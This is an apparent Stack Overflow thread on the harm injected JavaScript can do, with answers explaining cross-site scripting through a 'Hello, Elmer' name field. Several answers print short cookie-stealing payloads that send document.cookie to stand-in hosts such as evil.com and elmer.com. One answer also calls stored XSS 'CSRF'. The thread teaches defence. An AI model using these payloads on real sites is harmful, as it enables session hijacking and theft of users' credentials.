I just happen to read the joel's blog here ... So for example if you have a web page that says “What is your name?” with an edit box and then submitting that page takes you to another page that says, Hello, Elmer! (assuming the user’s name is Elmer), well, that’s a security vulnerability, because the user could type in all kinds of weird HTML and JavaScript instead of “Elmer” and their weird JavaScript could do narsty things, and now those narsty things appear to come from you, so for example they can read cookies that you put there and forward them on to Dr. Evil’s evil site. Since javascript runs on client end. All it can access or do is only on the client end. It can read informations stored in hidden fields and change them. It can read, write or manipulate cookies... But I feel, these informations are anyway available to him. (if he is smart enough to pass javascript in a textbox. So we are not empowering him with new information or providing him undue access to our server... Just curious to know whether I miss something. Can you list the things that a malicious user can do with this security hole. Edit : Thanks to all for enlightening . As kizzx2 pointed out in one of the comments... I was overlooking the fact that a JavaScript written by User A may get executed in the browser of User B under numerous circumstances, in which case it becomes a great risk.

Reputation: 4654

What harm can javascript do?

I just happen to read the joel's blog here...

So for example if you have a web page that says “What is your name?” with an edit box and then submitting that page takes you to another page that says, Hello, Elmer! (assuming the user’s name is Elmer), well, that’s a security vulnerability, because the user could type in all kinds of weird HTML and JavaScript instead of “Elmer” and their weird JavaScript could do narsty things, and now those narsty things appear to come from you, so for example they can read cookies that you put there and forward them on to Dr. Evil’s evil site.

Since javascript runs on client end. All it can access or do is only on the client end.

It can read informations stored in hidden fields and change them.
It can read, write or manipulate cookies...

But I feel, these informations are anyway available to him. (if he is smart enough to pass javascript in a textbox. So we are not empowering him with new information or providing him undue access to our server...

Just curious to know whether I miss something. Can you list the things that a malicious user can do with this security hole.

Edit : Thanks to all for enlightening . As kizzx2 pointed out in one of the comments... I was overlooking the fact that a JavaScript written by User A may get executed in the browser of User B under numerous circumstances, in which case it becomes a great risk.

Upvotes: 11

Answers (9)

kizzx2

Reputation: 19223

There are answers that explain CSRF and XSS. I'm the one to say that for the particular quoted passage, there is no security threat at all.

That quoted passage is simple enough -- it allows you to execute some JavaScript. Congratulations -- I can do the same with Firebug, which gives me a command line to play with instead of having to fake it using a text box that some Web site gives me and I have to abuse it.

I really think Joel wasn't really sober when writing that. The example was just plain misleading.

Edit some more elaborations:

We should keep several things in mind:

Code cannot do any harm unless executed.
JavaScript can only be executed on client side (Yes there are server-side JavaScript, but apparently not in the context of this question/article)
If the user writes some JavaScript, which then gets executed on his own machine -- where's the harm? There is none, because he can execute JavaScript from Firebug anytime he wants without going through a text box.

Of course there are CSRF, which other people have already explained. The only case where there is a threat is where User A can write some code which gets executed in User B's machine.

Almost all answers that directly answer the question "What harm can JavaScript do?" explain in the direction of CSRF -- which requires User A being able to write code that User B can execute.

So here's a more complete, two part answer:

If we're talking about the quoted passage, the answer is "no harm"

I do not interpret the passage's meaning to mean something like the scenario described above, since it's very obviously talking about a basic "Hello, Elmer world" example. To synthetically induce implicit meanings out of the passage just makes it more misleading.

If we're talking about "What harm can JavaScript do, in general," the answer is related to basic XSS/CSRF

Bonus Here are a couple of more real-life scenarios of how an CSRF (User A writes JavaScript that gets exected on User B's machine) can take place

A Web page takes parameters from GET. An attacker can lure a victim to visit http://foo.com/?send_password_to=malicious.attacker.com
A Web page displays one user's generated content verbatim to other users. An attacker could put something likm this in his Avatar's URL: <script>send_your_secret_cookies_to('http://evil.com')</script> (this needs some tweaking to get pass quoting and etc., but you get the idea)

Upvotes: 2

Shadow Wizzard

Reputation: 66396

Little example shown to me a while ago during XSS class..

Suppose Elmer is amateur hacker. Instead of writing his name in the box, he types this:

<script>$.ajax("http://elmer.com/save.php?cookie=" + document.cookie);</script>

Now if the server keeps a log of the values written by users and some admin is logging in and viewing those values..... Elmer will get the cookie of that administrator!

Upvotes: 2

Nate Bundy

Reputation: 553

If you display data on your page that comes from a user without sanitizing that data first, it's a huge security vulnerability, and here's why:

Imagine that instead of "Hello, Elmer!", that user entered

<script src="http://a-script-from-another-site.js" type="text/javascript"></script>

and you're just displaying that information on a page somewhere without sanitizing it. That user can now do anything he wants to your page without other users coming to that page being aware. They could read the other users' cookie information and send it anywhere they want, they could change your CSS and hide everything on your page and display their own content, they could replace your login form with their own that sends information to any place they wish, etc. The real danger is when other users come to your site after that user. No, they can't do anything directly to your server with JavaScript that they couldn't do anyway, but what they can do is get access to information from other people that visit your site.

If you're saving that information to a database and displaying it, all users who visit that site will be served that content. If it's just content that's coming from a form that isn't actually saved anywhere (submitting a form and you're getting the data from a GET or POST request) then the user could maliciously craft a URL (oursite.com/whatsyourname.php?username=Elmer but instead of Elmer, you put in your JavaScript) to your site that contained JavaScript and trick another user into visiting that link.

For an example with saving information in a database: let's say you have a forum that has a log in form on the front page along with lists of posts and their user names (which you aren't sanitizing). Instead of an actual user name, someone signs up with their user name being a <script> tag. Now they can do anything on your front page that JavaScript will accomplish, and every user that visits your site will be served that bit of JavaScript.

Upvotes: 2

Russ Cam

Reputation: 125538

I think what Joel is referring to in his article is that the scenario he describes is one which is highly vulnerable to Script Injection attacks, two of the most well known of which are Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).

Since most web sites use cookies as part of their authentication/session management solution, if a malicious user is able to inject malicious script into the page markup that is served to other users, that malicious user can do a whole host of things to the detriment of the other users, such as steal cookies, make transactions on their behalf, replace all of your served content with their own, create forms that imitate your own and post data to their site, etc, etc.

Upvotes: 3

Sondre

Reputation: 1898

Let's say a user would read your sourcecode and make his own tweak of for instance an ajax-call posting unwanted data to your server. Some developers are good at protecting direct userinput, but might not be as careful protecting database calls made from a ajax-call where the dev thinks he has control of all the data that is being sent trough the call.

Upvotes: 0

kemiller2002

Reputation: 115548

I would look the wikipedia article on javascript security. It covers a number of vulnerabilities.

Upvotes: 2

OrangeDog

Reputation: 38835

Cause your browser to sent requests to other services using your authentication details and then send the results back to the attacker.
Show a big picture of a penis instead of your company logo.
Send any personal info or login cookies to a server without your consent.

Upvotes: 2

Joe

Reputation: 57179

Cross Site Scripting is a really big issue with javascript injection

Upvotes: 4

Darin Dimitrov

Reputation: 1039558

It can read, write or manipulate cookies

That's the crucial part. You can steal cookies like this: simply write a script which reads the cookie, and send it to some evil domain using AJAX (with JSONP to overcome the cross domain issues, I think you don't even need to bother with ajax, a simple <img src="http://evil.com/?cookieValue=123"> would suffice) and email yourself the authentication cookie of the poor guy.

Upvotes: 3

What harm can javascript do?

Answers (9)

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